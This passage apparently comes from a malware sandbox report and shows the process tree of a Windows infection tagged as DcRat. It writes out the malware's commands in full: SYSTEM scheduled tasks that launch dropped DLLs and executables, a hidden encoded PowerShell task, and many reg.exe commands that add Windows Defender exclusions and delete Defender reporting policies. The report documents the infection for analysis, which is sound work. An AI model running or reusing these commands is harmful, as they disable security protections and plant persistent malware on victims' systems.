                                                                                                                            C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\FQzNUECRlEXpKQi\RquBkwq.exe Ty /gtsite_idVFK 385118 /S
                                                                                                                            2⤵
                                                                                                                            • Checks computer location settings
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Drops Chrome extension
                                                                                                                            • Drops file in System32 directory
                                                                                                                            • Drops file in Program Files directory
                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                            PID:612
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /DELETE /F /TN "bdnnguwcOLBYKAjbbA"
                                                                                                                              3⤵
                                                                                                                                PID:2304
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:2384
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                    4⤵
                                                                                                                                      PID:2484
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:2672
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                        4⤵
                                                                                                                                          PID:2456
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\yvWovCiVU\qEaZEN.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "eGwAoTnpAObQfPU" /V1 /F
                                                                                                                                        3⤵
                                                                                                                                        • DcRat
                                                                                                                                        • Drops file in Windows directory
                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                        PID:2688
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /CREATE /TN "eGwAoTnpAObQfPU2" /F /xml "C:\Program Files (x86)\yvWovCiVU\WonuXAR.xml" /RU "SYSTEM"
                                                                                                                                        3⤵
                                                                                                                                        • DcRat
                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                        PID:2024
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /END /TN "eGwAoTnpAObQfPU"
                                                                                                                                        3⤵
                                                                                                                                          PID:296
                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                          schtasks /DELETE /F /TN "eGwAoTnpAObQfPU"
                                                                                                                                          3⤵
                                                                                                                                            PID:3044
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /CREATE /TN "ALvbXdfFiQJKEp" /F /xml "C:\Program Files (x86)\LCifMpYymZWU2\AWXbTsA.xml" /RU "SYSTEM"
                                                                                                                                            3⤵
                                                                                                                                            • DcRat
                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                            PID:920
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /CREATE /TN "BIiSjOILpRnDn2" /F /xml "C:\ProgramData\WkkDuRgYrrqHXcVB\vsqbZSC.xml" /RU "SYSTEM"
                                                                                                                                            3⤵
                                                                                                                                            • DcRat
                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                            PID:1228
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /CREATE /TN "uCAhUOuaRBfXDMltv2" /F /xml "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\JMjlZdH.xml" /RU "SYSTEM"
                                                                                                                                            3⤵
                                                                                                                                            • DcRat
                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                            PID:1348
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /CREATE /TN "cLzKLCJHWfKFSkdKasF2" /F /xml "C:\Program Files (x86)\mVqQIGUXDOgrC\nuRMckf.xml" /RU "SYSTEM"
                                                                                                                                            3⤵
                                                                                                                                            • DcRat
                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                            PID:972
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /CREATE /TN "FTXCzbcEvROqagNdd" /SC once /ST 10:34:44 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\IzRZTwSZebgYVSAl\KbuZCkGQ\jjOTEdh.dll\",#1 /opsite_idXXk 385118" /V1 /F
                                                                                                                                            3⤵
                                                                                                                                            • DcRat
                                                                                                                                            • Drops file in Windows directory
                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                            PID:2512
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /run /I /tn "FTXCzbcEvROqagNdd"
                                                                                                                                            3⤵
                                                                                                                                              PID:2536
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:544
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                  4⤵
                                                                                                                                                    PID:1588
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1884
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                      4⤵
                                                                                                                                                        PID:2924
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "mRaseIvrfxDtBOYKW"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:2176
                                                                                                                                                    • C:\Windows\system32\rundll32.EXE
                                                                                                                                                      C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\KbuZCkGQ\jjOTEdh.dll",#1 /opsite_idXXk 385118
                                                                                                                                                      2⤵
                                                                                                                                                        PID:2128
                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                          C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\KbuZCkGQ\jjOTEdh.dll",#1 /opsite_idXXk 385118
                                                                                                                                                          3⤵
                                                                                                                                                          • Blocklisted process makes network request
                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                          PID:2384
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /DELETE /F /TN "FTXCzbcEvROqagNdd"
                                                                                                                                                            4⤵
                                                                                                                                                              PID:1612
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\dYCYYvmNvBRqgTGOH\lchhETiXYelTvPX\XFmaGOd.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\dYCYYvmNvBRqgTGOH\lchhETiXYelTvPX\XFmaGOd.exe RD /aRsite_idVGX 525403 /S
                                                                                                                                                          2⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                          PID:2572
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /CREATE /TN "gvTPPlTWA" /SC once /ST 13:30:48 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                            3⤵
                                                                                                                                                            • DcRat
                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                            PID:2476
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /run /I /tn "gvTPPlTWA"
                                                                                                                                                            3⤵
                                                                                                                                                              PID:2824
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /DELETE /F /TN "gvTPPlTWA"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2848
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gtigoJAOxebpSqst" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1808
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gtigoJAOxebpSqst" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Windows security bypass
                                                                                                                                                                    PID:1756
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gtigoJAOxebpSqst" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:3044
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gtigoJAOxebpSqst" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                      4⤵
                                                                                                                                                                      • Windows security bypass
                                                                                                                                                                      PID:1712
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gtigoJAOxebpSqst" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:1272
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gtigoJAOxebpSqst" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:2476
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gtigoJAOxebpSqst" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:768
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gtigoJAOxebpSqst" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:552
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            cmd /C copy nul "C:\Windows\Temp\gtigoJAOxebpSqst\LPKTwnGG\UgzGXKBQAoHKUYnb.wsf"
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1564
                                                                                                                                                                            • C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                              wscript "C:\Windows\Temp\gtigoJAOxebpSqst\LPKTwnGG\UgzGXKBQAoHKUYnb.wsf"
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                              PID:2036
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JqMoIWPtRqoDC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:2360
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JqMoIWPtRqoDC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:1900
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KuTytnbkU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:2672
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KuTytnbkU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:868
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PSjUbWBFcPUKufSEFkR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:2072
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PSjUbWBFcPUKufSEFkR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:556
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UotyJsAgSFUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:1868
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UotyJsAgSFUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:2924
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iyzAqDqghgpU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:1604
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iyzAqDqghgpU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:1232
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\dTRdFhcsEOtGTQVB" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:2592
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\dTRdFhcsEOtGTQVB" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:2848
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:1808
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:2796
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\dYCYYvmNvBRqgTGOH" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:2836
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\dYCYYvmNvBRqgTGOH" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:2200
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gtigoJAOxebpSqst" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:2704
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gtigoJAOxebpSqst" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                PID:1692
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JqMoIWPtRqoDC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:1120
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JqMoIWPtRqoDC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:2876
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KuTytnbkU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:320
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KuTytnbkU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:2832
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PSjUbWBFcPUKufSEFkR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:1052
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PSjUbWBFcPUKufSEFkR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:556
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UotyJsAgSFUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:2844
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UotyJsAgSFUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:2924
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iyzAqDqghgpU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:2500
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iyzAqDqghgpU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:2988
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\dTRdFhcsEOtGTQVB" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:1100
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\dTRdFhcsEOtGTQVB" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:2848
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:1992
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:3044
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\dYCYYvmNvBRqgTGOH" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:2128
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\dYCYYvmNvBRqgTGOH" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:1124
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gtigoJAOxebpSqst" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:1928
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\gtigoJAOxebpSqst" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:2360
                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                  schtasks /CREATE /TN "tbikxcbubRAutxvXV" /SC once /ST 02:34:01 /RU "SYSTEM" /TR "\"C:\Windows\Temp\gtigoJAOxebpSqst\dzWYTvKGVWzrmLz\EZUkiYx.exe\" wJ /fusite_idwkM 525403 /S" /V1 /F
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • DcRat
                                                                                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                  PID:1560
                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                  schtasks /run /I /tn "tbikxcbubRAutxvXV"
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:1636
                                                                                                                                                                                                                • C:\Windows\Temp\gtigoJAOxebpSqst\dzWYTvKGVWzrmLz\EZUkiYx.exe
                                                                                                                                                                                                                  C:\Windows\Temp\gtigoJAOxebpSqst\dzWYTvKGVWzrmLz\EZUkiYx.exe wJ /fusite_idwkM 525403 /S
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                  • Drops Chrome extension
                                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                  PID:320
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /DELETE /F /TN "btbwILgIDOMomJfKYB"
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:2832
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                      cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:2656
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:1940
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:2712
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                              4⤵
